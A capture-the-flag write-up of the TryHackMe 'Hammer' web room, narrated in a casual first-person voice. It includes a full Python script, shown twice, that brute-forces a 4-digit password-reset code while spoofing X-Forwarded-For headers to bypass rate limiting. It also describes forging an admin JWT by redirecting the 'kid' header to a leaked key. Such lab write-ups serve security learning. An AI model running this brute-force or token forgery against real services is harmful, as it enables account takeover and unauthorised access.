July 25, 2026
Hammer Writeup - TryHackMe
Sup, it’s been A LONG TIME since I’ve written a writeup for a chall I’ve solved, so please pardon any blunders and as always, I appreciate…

By aryqmn
6 min read
Sup, it's been A LONG TIME since I've written a writeup for a chall I've solved, so please pardon any blunders and as always, I appreciate constructive criticism in any manner (be gentle pls lol).
Hammer is a challenge room in TryHackMe under the Web Application Pentesting path, under the 'Authentication' module to be specific, and I've always considered web apps as one of my weaknesses, so I knew from the start, this would be tough!
Recon
A quick NMAP scan gave me:
I reckon SSH won't be of any use (webapp pentest) so I'll stick to 1337 (how cool).
I know 'minimalism' is pretty popular but wow!
First Flag
So, my immediate thought of bruteforcing the login form shattered pretty quickly as all the requests showed invalid responses. I was missing out on something, until I checked the source code.
Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME.
If only I knew how to append hmr as a prefix using FFUZ, it would've certainly saved me a lot of time. But nah I'm a bit cracked, I chose the long way:
The first four results were all meh but the log file gave something away.
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-downuser tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
The two log entries that look promising. Now that we have an email ID that sends a valid response, we can try the Forgot Password feature.
The Forgot Password page takes in the email and asks for an authentication code:
Ok, so a small disclaimer, I spent a lot of time at this stage because I had just learned about bypassing OTPs under the MFA Security section and I was confident that something would work out — it didn't.
Soon I found the rate-limit that could've saved me tons of time if I'd seen it earlier.. I looked up bypassing techniques and the X-Forwarded-For header was the one that worked in the end.
Also if it wasn't obvious from the NMAP results and the image above this, the cookies are being stored as PHPSESSID.
So, what all this meant was, we need to bruteforce the login page, with OTP attempts which bypass the rate limit by changing the X-Forwarded-For header and PHPSESSID cookie to get the result — da OTP.
I asked ChatGPT to write a script in Python, out of sheer laziness and here's how it looks:
import requests
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
# Configuration variables
ip_address = "10.49.153.216"
port = "1337"
phpsessid = "e31ogukle42v7cl7do7bmebgtq"
# Base URL of the form submission page
url = f"http://{ip_address}:{port}/reset_password.php"
# Common headers for the request (without X-Forwarded-For)
common_headers = {
"Host": f"{ip_address}:{port}",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": f"http://{ip_address}:{port}",
"DNT": "1",
"Connection": "keep-alive",
"Referer": f"http://{ip_address}:{port}/reset_password.php",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
"Cookie": f"PHPSESSID={phpsessid}"
}
# Custom exception to exit all threads once the correct code is found
class CodeFoundException(Exception):
pass
# Function to generate all possible 4-digit codes
def generate_codes():
for i in range(10000):
yield f"{i:04}" # Format the number as a 4-digit string, e.g., "0001"
# Function to send a POST request
def send_request(code):
# Generate a random X-Forwarded-For IP address
x_forwarded_for = f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}"
# Add the X-Forwarded-For header to the request headers
headers = common_headers.copy()
headers["X-Forwarded-For"] = x_forwarded_for
# Data to be sent with the POST request
data = {
"recovery_code": code,
"s": "106" # Replace this with the correct hidden field value if necessary
}
try:
# Send the POST request with the new X-Forwarded-For IP address
response = requests.post(url, headers=headers, data=data, timeout=2)
# Check if the recovery code is correct
if "Invalid or expired recovery code!" not in response.text:
print(f"Success! The correct code is: {code}")
raise CodeFoundException
except requests.RequestException:
pass
return False
# Function to run the requests in parallel using threading
def run_bruteforce():
try:
# Use a ThreadPoolExecutor to run multiple requests in parallel
with ThreadPoolExecutor(max_workers=100) as executor: # Adjust max_workers as needed
futures = {executor.submit(send_request, code): code for code in generate_codes()}
for future in as_completed(futures):
future.result() # Trigger the exception if the correct code is found
except CodeFoundException:
print("Correct code found, stopping execution.")
executor.shutdown(wait=False)
if __name__ == "__main__":
run_bruteforce()
import requests
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
# Configuration variables
ip_address = "10.49.153.216"
port = "1337"
phpsessid = "e31ogukle42v7cl7do7bmebgtq"
# Base URL of the form submission page
url = f"http://{ip_address}:{port}/reset_password.php"
# Common headers for the request (without X-Forwarded-For)
common_headers = {
"Host": f"{ip_address}:{port}",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": f"http://{ip_address}:{port}",
"DNT": "1",
"Connection": "keep-alive",
"Referer": f"http://{ip_address}:{port}/reset_password.php",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
"Cookie": f"PHPSESSID={phpsessid}"
}
# Custom exception to exit all threads once the correct code is found
class CodeFoundException(Exception):
pass
# Function to generate all possible 4-digit codes
def generate_codes():
for i in range(10000):
yield f"{i:04}" # Format the number as a 4-digit string, e.g., "0001"
# Function to send a POST request
def send_request(code):
# Generate a random X-Forwarded-For IP address
x_forwarded_for = f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}"
# Add the X-Forwarded-For header to the request headers
headers = common_headers.copy()
headers["X-Forwarded-For"] = x_forwarded_for
# Data to be sent with the POST request
data = {
"recovery_code": code,
"s": "106" # Replace this with the correct hidden field value if necessary
}
try:
# Send the POST request with the new X-Forwarded-For IP address
response = requests.post(url, headers=headers, data=data, timeout=2)
# Check if the recovery code is correct
if "Invalid or expired recovery code!" not in response.text:
print(f"Success! The correct code is: {code}")
raise CodeFoundException
except requests.RequestException:
pass
return False
# Function to run the requests in parallel using threading
def run_bruteforce():
try:
# Use a ThreadPoolExecutor to run multiple requests in parallel
with ThreadPoolExecutor(max_workers=100) as executor: # Adjust max_workers as needed
futures = {executor.submit(send_request, code): code for code in generate_codes()}
for future in as_completed(futures):
future.result() # Trigger the exception if the correct code is found
except CodeFoundException:
print("Correct code found, stopping execution.")
executor.shutdown(wait=False)
if __name__ == "__main__":
run_bruteforce()
EZ, now we get to the dashboard which gives us the first flag.
Second Flag
Here is the point where I got ragebaited for a good 20 minutes. So entering the dashboard gives you a certain time before it kicks you out, very frustrating and it's because of this part of the source code
Thankfully this is client-side code, commenting it out gave some relief, emphasis on some.
Enter command? ok.
OK, this is ridiculous, after each command you run, it kicks you out AGAIN. I'll look how to go past this later, but now on the contents:
188ade1.key is for a JWT token.
Having thoroughly studied JWT Tokens in the past modules, I headed straight to JWT.io and looked at it closer.
Key findings: The 'kid' parameter in the JWT header points to the location in the server where are JWTs are getting verified.
And our role is set to User.
So, I made two modifications: Changed the location to the JWT key I found. From user to admin, duh.
And signed the JWT with the key.
The forged token works and now it's possible to run more commands.
To finish it off:
After getting kicked for a good 30 minutes, it is finally over. Insane amounts of dopamine from this, and overall a great chall. I am now more scared of Web Apps and will try my best to stay as far away as possible. Thanks to my roommates for bearing with my rants. Hopefully, I'll get to drop another writeup soon, byee.